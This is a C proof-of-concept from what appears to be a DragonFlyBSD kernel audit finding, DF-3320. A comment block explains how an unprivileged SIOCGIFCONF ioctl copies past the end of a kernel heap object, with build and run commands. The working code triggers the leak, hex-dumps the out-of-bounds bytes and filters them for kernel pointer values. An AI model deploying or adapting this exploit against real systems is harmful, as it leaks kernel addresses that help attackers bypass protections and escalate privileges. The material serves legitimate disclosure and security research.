⬢ DragonFlyBSD Kernel Audit
DF-3320 / leak.c
← back to finding ↓ download raw
/*
 * DF-3320 leak trigger (run as UNPRIVILEGED user, e.g. nobody).
 *
 * SIOCGIFCONF has no privilege check (ifioctl -> ifconf(),
 * sys/net/if.c:1996-1997).  For an ifaddr whose sa_len > 16 ifconf() does
 *
 *	copyout(sa, &ifrp->ifr_addr, sa->sa_len);   (sys/net/if.c:2590-2592)
 *
 * i.e. it copies sa_len (200) bytes starting at ia->ia_addr (offset 312
 * of a 360-byte struct in_ifaddr) straight to userspace -- a 152-byte
 * out-of-bounds read past the end of the heap object whose tail contains
 * the adjacent slab's struct ifaddr (kernel heap pointers).
 *
 * Entry walk: entries with sa_len <= 16 are fixed 32-byte ifreqs; longer
 * entries are packed as ifr_name[16] followed by sa_len bytes.
 *
 * Build: cc -O -o leak leak.c
 * Run:   ./leak            (as nobody)
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *want = (argc > 1) ? argv[1] : "127.200.0.200";
	char *buf;
	struct ifconf ifc;
	unsigned char *pos, *end, *sa;
	size_t buflen = 65536;
	int s, i, found = 0;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		exit(1);
	}

	buf = malloc(buflen);
	memset(&ifc, 0, sizeof(ifc));
	ifc.ifc_len = buflen;
	ifc.ifc_buf = buf;

	if (ioctl(s, SIOCGIFCONF, &ifc) < 0) {
		perror("SIOCGIFCONF");
		exit(1);
	}
	printf("SIOCGIFCONF: %d bytes of interface data\n", ifc.ifc_len);

	pos = (unsigned char *)buf;
	end = pos + ifc.ifc_len;
	while (pos + sizeof(struct ifreq) <= end) {
		char name[IFNAMSIZ + 1];
		u_char sa_len, sa_fam;
		size_t entsize;

		memcpy(name, pos, IFNAMSIZ);
		name[IFNAMSIZ] = 0;
		sa = pos + IFNAMSIZ;		/* &ifr.ifr_addr */
		sa_len = sa[0];
		sa_fam = sa[1];
		entsize = (sa_len <= sizeof(struct sockaddr)) ?
		    sizeof(struct ifreq) : IFNAMSIZ + sa_len;

		if (sa_fam == AF_INET && sa_len > sizeof(struct sockaddr)) {
			struct in_addr ia;
			memcpy(&ia, sa + 4, 4);
			printf("entry: %-8s sa_len=%-3u family=%d addr=%s\n",
			    name, sa_len, sa_fam, inet_ntoa(ia));
			if (strcmp(inet_ntoa(ia), want) == 0) {
				found = 1;
				printf("---- leaked sockaddr (%u bytes) ----\n",
				    sa_len);
				for (i = 0; i < sa_len; i++) {
					if ((i % 16) == 0)
						printf("%3d: ", i);
					printf("%02x ", sa[i]);
					if ((i % 16) == 15)
						printf("\n");
				}
				printf("---- candidate kernel pointers past "
				    "offset 48 (object end) ----\n");
				for (i = 48; i + 8 <= (int)sa_len; i += 4) {
					unsigned long long v;
					memcpy(&v, sa + i, 8);
					if (v >= 0xffff800000000000ULL &&
					    (v & 0x7) == 0)
						printf("  off %3d: "
						    "0x%016llx\n", i, v);
				}
			}
		}
		pos += entsize;
	}

	if (!found) {
		printf("no entry with sa_len>16 for %s (setup not run?)\n",
		    want);
		exit(1);
	}
	return (0);
}